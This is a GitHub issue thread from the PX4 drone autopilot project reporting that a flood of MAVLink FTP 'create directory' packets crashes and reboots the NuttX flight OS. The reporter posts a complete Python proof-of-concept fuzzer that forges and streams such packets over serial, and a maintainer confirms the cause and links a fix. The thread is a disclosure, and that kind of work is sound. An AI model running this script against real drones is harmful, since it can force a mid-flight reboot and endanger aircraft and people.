PX4 / PX4-Autopilot

PX4 Autopilot Software
https://px4.io
BSD 3-Clause "New" or "Revised" License
8.23k stars 13.39k forks source link

loop of mavftp protocol crash drone #18651

Closed BOB4Drone closed 2 years ago

BOB4Drone commented 2 years ago

Describe the bug sending more then 1400 packet at px4 firmware, crash nuttx OS and reboot device

To Reproduce set opcode with 9 (create directory) and set payload with random data ( more then 105 byte). if sum of sent data is more then 1400 packet, it will crash nuttX OS and reboot

Expected behavior Crash OS and reboot device

Drone (please complete the following information):

Additional context

bkueng commented 2 years ago

Good find, can you provide the script?

BOB4Drone commented 2 years ago
import serial
from time import sleep
import binascii
from crccheck.crc import Crcc16Mcrf4xx
import random
import os
from serial.serialutil import SerialException

def generate_random(size):
    return str(format(random.randint(0,size),'02x'))
def openSerial(port, baudrate=57600, bytesize=serial.EIGHTBITS, parity=serial.PARITY_NONE, stopbits=serial.STOPBITS_ONE, timeout=None, xonxoff=False, rtscts=False, dsrdtr=False):
    ser = serial.Serial()

    ser.port = port
    ser.baudrate = baudrate
    ser.bytesize = bytesize
    ser.parity = parity
    ser.stopbits = stopbits
    ser.timeout = timeout
    ser.xonxoff = xonxoff
    ser.rtscts = rtscts
    ser.dsrdtr = dsrdtr

    ser.open()
    return ser

length = 254
m = 110
magic = str(format(84,'02x'))
seq = 0
nextseq = 0
stx = "fd"
incFLAG = "00"
cmpFLAG = "00"
msgID = str(format(m,'06x'))
msgID = [msgID[-2:], msgID[-4:-2], msgID[0:2]]
msgID = "".join(msgID)
ser = openSerial('/dev/ttyACM0')

oplist = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]
while True:
    try:
        sysID = generate_random(0xff)
        compID = generate_random(0xff)
        newseq = str(format(seq,"02x"))

        payseq = str(format(nextseq, '04x'))
        payseq = [payseq[-2:], payseq[0:2]]
        payseq = "".join(payseq)
        paysess = generate_random(0xff)
        #rnds = random.randint(0x0,0xf)
        rnds = 9
        opcode = str(format(rnds,'02x')) #random opcode
        burst = '00'
        if opcode == 15:
            burst = '01'
        print('opcode : '+opcode)
        oplist[rnds] = oplist[rnds] + 1
        for i in oplist:
            print(i)
        ackopcode = str(format(128, "02x"))
        padding = "00"
        offset = str(format(random.randint(0,0xffffffff), '08x'))
        rnddata = str(binascii.b2a_hex(os.urandom(random.randint(105,105))))
        rnddata = rnddata.replace('\'','')
        print('datalen : ' + str(len(rnddata)))
        if(len(rnddata)%2)!= 0:
            rnddata += "0"
        size = str(format(len(rnddata)//2, '02x'))
        tnetwork = str(format(0, "02x"))
        tsystem = str(format(0, "02x"))
        tcomponent = str(format(0, "02x"))
        payload = ""
        payload += tnetwork
        payload += tsystem
        payload += tcomponent
        payload += payseq
        payload += paysess
        payload += opcode
        payload += size
        payload += ackopcode
        payload += burst
        payload += padding
        payload += offset
        payload += rnddata
        lengths = format(len(payload)//2 ,'02x')

        a = []
        a.append(stx)
        a.append(lengths)
        a.append(incFLAG)
        a.append(cmpFLAG)
        a.append(newseq)
        a.append(sysID)
        a.append(compID)
        a.append(msgID)
        a.append(payload)
        sums = lengths + incFLAG + cmpFLAG + newseq + sysID  + compID + msgID  + payload + magic
        crc = Crcc16Mcrf4xx.calc(bytearray.fromhex((sums )))
        crc = str(format(crc,'04x'))
        crc = [crc[-2:], crc[0:2]]
        a.extend(crc)
        print(''.join(a))
        string = ''.join(a)
        wq = open('fuzztest' + str(rnds) + '.txt', 'a')
        wq.write(string + '\n')
        wq.close
        string = bytes.fromhex(string)
        ser.write(string)

        if (seq < 0xff) and (nextseq < 0xff):
            seq += 1
            nextseq += 1
        else:
            seq = 0
            nextseq = 0
    except serial.SerialException:
        print('Crashed msgID : %d'%m)
        break

here is my poc code with python

bkueng commented 2 years ago

Thanks @BOB4Drone. You are right, it fills up the memory with random files. I'm adding a path restriction in https://github.com/PX4/PX4-Autopilot/pull/18655